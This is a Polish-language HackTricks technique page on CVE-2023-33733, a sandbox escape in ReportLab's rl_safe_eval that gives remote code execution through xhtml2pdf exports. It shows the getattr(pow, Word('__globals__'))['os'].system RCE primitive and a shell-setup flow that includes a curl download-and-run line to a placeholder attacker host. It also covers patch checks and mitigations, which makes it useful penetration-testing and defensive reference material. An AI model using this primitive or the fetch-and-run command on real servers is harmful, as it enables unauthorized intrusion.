ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ta strona dokumentuje praktyczny escape z sandboxa i prymityw RCE w rl_safe_eval ReportLab używany przez xhtml2pdf i inne pipeline’y generujące PDF podczas renderowania kontrolowanego przez użytkownika HTML do PDF.
CVE-2023-33733 dotyczy wersji ReportLab do i włącznie 3.6.12. W niektórych kontekstach atrybutów (np. color), wartości opakowane w potrójne nawiasy [[[ … ]]] są oceniane po stronie serwera przez rl_safe_eval. Poprzez spreparowanie ładunku, który pivotuje z dozwolonego wbudowanego (pow) do jego globals, atakujący może dostać się do modułu os i wykonać komendy.
Kluczowe punkty
- Trigger: wstrzyknięcie [[[ … ]]] do ocenianych atrybutów takich jak w oznaczeniach przetwarzanych przez ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval usuwa niebezpieczne wbudowane funkcje, ale oceniając funkcje nadal ujawnia ich globals.
- Bypass: stworzenie przejściowej klasy Word by obejść sprawdzanie nazw w rl_safe_eval i uzyskać dostęp do stringa “globals” unikając filtrowania dunder.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stabilność: Zwróć prawidłową wartość atrybutu po wykonaniu (dla color użyj ‘red’).
Kiedy testować
- Aplikacje, które udostępniają eksport HTML-do-PDF (profile, faktury, raporty) i ujawniają xhtml2pdf/ReportLab w metadanych PDF lub komentarzach odpowiedzi HTTP.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- Odpowiedź HTTP dla PDF często zaczyna się od komentarza generatora ReportLab
Jak działa obejście sandboxa
- rl_safe_eval usuwa lub zastępuje wiele builtinów (getattr, type, pow, …) i stosuje filtrowanie nazw by odrzucać atrybuty zaczynające się od __ lub znajdujące się na denyliście.
- Jednak bezpieczne funkcje żyją w słowniku globals dostępnym jako func.globals.
- Użyj type(type(1)) aby odzyskać prawdziwą wbudowaną funkcję type (omijając wrapper ReportLab), następnie zdefiniuj klasę Word dziedziczącą po str z zmienionym zachowaniem porównań tak, aby:
- .startswith(‘’) → zawsze False (ominięcie sprawdzenia name startswith(‘’))
- .eq zwraca False tylko przy pierwszym porównaniu (ominięcie sprawdzeń członkostwa w denyliście) i True potem (żeby Python getattr zadziałał)
- .hash równa się hash(str(self))
- Dzięki temu getattr(pow, Word(‘globals’)) zwraca słownik globals opakowanej funkcji pow, który zawiera zaimportowany moduł os. Potem:
['os'].system('<cmd>').
Minimalny wzorzec eksploatacji (przykład atrybutu) Umieść ładunek wewnątrz ocenianego atrybutu i upewnij się, że zwraca on prawidłową wartość atrybutu poprzez boolean i ‘red’.
- Forma list-comprehension pozwala na pojedyncze wyrażenie akceptowane przez rl_safe_eval.
- Końcowe and ‘red’ zwraca prawidłowy kolor CSS, dzięki czemu renderowanie nie przerywa się.
- Zamień komendę wedle potrzeby; użyj ping by zweryfikować wykonanie przy pomocy tcpdump.
Przebieg operacyjny
- Zidentyfikuj generator PDF
- PDF Producer pokazuje xhtml2pdf; odpowiedź HTTP zawiera komentarz ReportLab.
- Znajdź wejście odzwierciedlone w PDF (np. bio/opis profilu) i uruchom eksport.
- Zweryfikuj wykonanie niskoszumowym ICMP
- Uruchom:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Windows często wysyła dokładnie cztery żądania echo domyślnie.
- Ustanów shell
- Dla Windows niezawodnym podejściem dwustopniowym unika się problemów z cytowaniem/kodowaniem:
- Stage 1 (download):
- Stage 2 (execute):
- Dla celów Linux podobne dwustopniowe podejście z curl/wget jest możliwe:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Notatki i wskazówki
- Konteksty atrybutów: color jest znanym ocenianym atrybutem; inne atrybuty w ReportLab markup mogą również oceniać wyrażenia. Jeśli jedna lokalizacja jest sanitizowana, spróbuj innych miejsc renderowanych w flow PDF (różne pola, style tabel itp.).
- Cytowanie: Trzymaj komendy zwarte. Dwustopniowe pobrania znacznie zmniejszają problemy z cytowaniem i escape’owaniem.
- Niezawodność: Jeśli eksporty są cachowane lub kolejkowane, nieznacznie zmieniaj ładunek (np. losowa ścieżka lub query) żeby nie trafić w cache.
Status patcha (2024–2025) i identyfikacja backportów
- 3.6.13 (27 Apr 2023) przepisano
colors.toColorna parser oparty na AST; nowsze wydania 4.x zachowują tę ścieżkę. Wymuszenierl_settings.toColorCanUsenarl_safe_evallubrl_extended_literal_evalponownie włącza podatny evaluator nawet w obecnych wersjach. - Kilka dystrybucji dostarcza backportowane poprawki pozostawiając numery wersji takie jak 3.6.12-1+deb12u1; nie polegaj wyłącznie na numerze wersji semantycznej. Grepnij
colors.pyw poszukiwaniuast.parselub sprawdźtoColorw czasie działania, aby potwierdzić, że bezpieczny parser jest używany (zob. szybki test poniżej). - Szybki lokalny test, by sprawdzić czy poprawka oparta na AST jest obecna:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Środki zaradcze i wykrywanie
- Zaktualizuj ReportLab do 3.6.13 lub nowszej (CVE-2023-33733 naprawiony). Śledź również komunikaty bezpieczeństwa w pakietach dystrybucji.
- Nie podawaj HTML/markup kontrolowanego przez użytkownika bezpośrednio do xhtml2pdf/ReportLab bez rygorystycznej sanitizacji. Usuń/odrzuć konstrukcje oceny [[[…]]] i tagi specyficzne dla dostawcy, gdy wejście jest nieufne.
- Rozważ wyłączenie lub otoczenie wrapperem użycia rl_safe_eval dla wejść nieufnych.
- Monitoruj podejrzane połączenia wychodzące podczas generowania PDF (np. ICMP/HTTP z serwerów aplikacji przy eksportowaniu dokumentów).
References
- PoC i analiza techniczna: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (eksploatacja w realnym środowisku, dwustopniowe payloady Windows): HTB: University
- Wpis NVD (dotknięte wersje): CVE-2023-33733
- xhtml2pdf docs (koncepcje markup/strony): xhtml2pdf docs
- Notatki dotyczące wydania ReportLab 3.6.13 (AST rewrite of toColor): What’s New in 3.6.13
- Debian security tracker pokazujący backportowane poprawki przy niezmienionych wersjach minor: Debian tracker CVE-2023-33733
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


